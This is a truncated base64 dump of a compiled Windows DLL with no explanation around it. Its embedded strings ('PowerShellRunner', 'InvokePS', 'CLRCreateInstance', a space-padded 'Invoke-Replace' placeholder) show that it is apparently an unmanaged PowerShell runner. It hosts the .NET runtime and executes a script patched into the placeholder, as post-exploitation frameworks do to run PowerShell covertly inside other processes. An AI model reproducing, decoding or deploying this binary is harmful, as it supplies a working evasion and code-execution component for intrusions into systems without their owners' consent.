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LwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAANLROb0vumpIibC0sMtGaJF2ADIALgAwAC4ANQAwADcAMgA3AAAAAABJAEMATABSAE0AZQB0AGEASABvAHMAdAA6ADoARwBlAHQAUgB1AG4AdABpAG0AZQAgAGYAYQBpAGwAZQBkACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAAAABJAEMATABSAFIAdQBuAHQAaQBtAGUASQBuAGYAbwA6ADoASQBzAEwAbwBhAGQAYQBiAGwAZQAgAGYAYQBpAGwAZQBkACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAAAAAAAC4ATgBFAFQAIAByAHUAbgB0AGkAbQBlACAAdgAyAC4AMAAuADUAMAA3ADIANwAgAGMAYQBuAG4AbwB0ACAAYgBlACAAbABvAGEAZABlAGQACgAAACJnL8s6q9IRnEAAwE+jCj4AAAAASQBDAEwAUgBSAHUAbgB0AGkAbQBlAEkAbgBmAG8AOgA6AEcAZQB0AEkAbgB0AGUAcgBmAGEAYwBlACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAABDb3JCaW5kVG9SdW50aW1lAAAAAAAAAABDAG8AdQBsAGQAIABuAG8AdAAgAGYAaQBuAGQAIABBAFAASQAgAEMAbwByAEIAaQBuAGQAVABvAFIAdQBuAHQAaQBtAGUAAAB3AGsAcwAAAEMAbwByAEIAaQBuAGQAVABvAFIAdQBuAHQAaQBtAGUAIABmAGEAaQBsAGUAZAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAABtAHMAYwBvAHIAZQBlAC4AZABsAGwAAABQb3dlclNoZWxsUnVubmVyAAAAAFBvd2VyU2hlbGxSdW5uZXIuUG93ZXJTaGVsbFJ1bm5lcgAAAAAAAABGAGEAaQBsAGUAZAAgAHQAbwAgAGMAcgBlAGEAdABlACAAdABoAGUAIAByAHUAbgB0AGkAbQBlACAAaABvAHMAdAAKAAAAAABDAEwAUgAgAGYAYQBpAGwAZQBkACAAdABvACAAcwB0AGEAcgB0ACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAAAABSAHUAbgB0AGkAbQBlAEMAbAByAEgAbwBzAHQAOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAQQBwAHAARABvAG0AYQBpAG4ASQBkACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAABJAEMAbwByAFIAdQBuAHQAaQBtAGUASABvAHMAdAA6ADoARwBlAHQARABlAGYAYQB1AGwAdABEAG8AbQBhAGkAbgAgAGYAYQBpAGwAZQBkACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAARgBhAGkAbABlAGQAIAB0AG8AIABnAGUAdAAgAGQAZQBmAGEAdQBsAHQAIABBAHAAcABEAG8AbQBhAGkAbgAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAAAARgBhAGkAbABlAGQAIAB0AG8AIABsAG8AYQBkACAAdABoAGUAIABhAHMAcwBlAG0AYgBsAHkAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAAAAAEYAYQBpAGwAZQBkACAAdABvACAAZwBlAHQAIAB0AGgAZQAgAFQAeQBwAGUAIABpAG4AdABlAHIAZgBhAGMAZQAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAEkAbgB2AG8AawBlAC0AUgBlAHAAbABhAGMAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA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UgA2ADAAMQAwAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAFIANgAwADEANwANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABtAHUAbAB0AGkAdABoAHIAZQBhAGQAIABsAG8AYwBrACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAFIANgAwADEAOAANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABoAGUAYQBwACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAABSADYAMAAyADQADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABfAG8AbgBlAHgAaQB0AC8AYQB0AGUAeABpAHQAIAB0AGEAYgBsAGUADQAKAAAAAAAAAAAAUgA2ADAAMgA1AA0ACgAtACAAcAB1AHIAZQAgAHYAaQByAHQAdQBhAGwAIABmAHUAbgBjAHQAaQBvAG4AIABjAGEAbABsAA0ACgAAAAAAAABSADYAMAAyADYADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABzAHQAZABpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAABSADYAMAAzADAADQAKAC0AIABDAFIAVAAgAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkAA0ACgAAAAAAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvA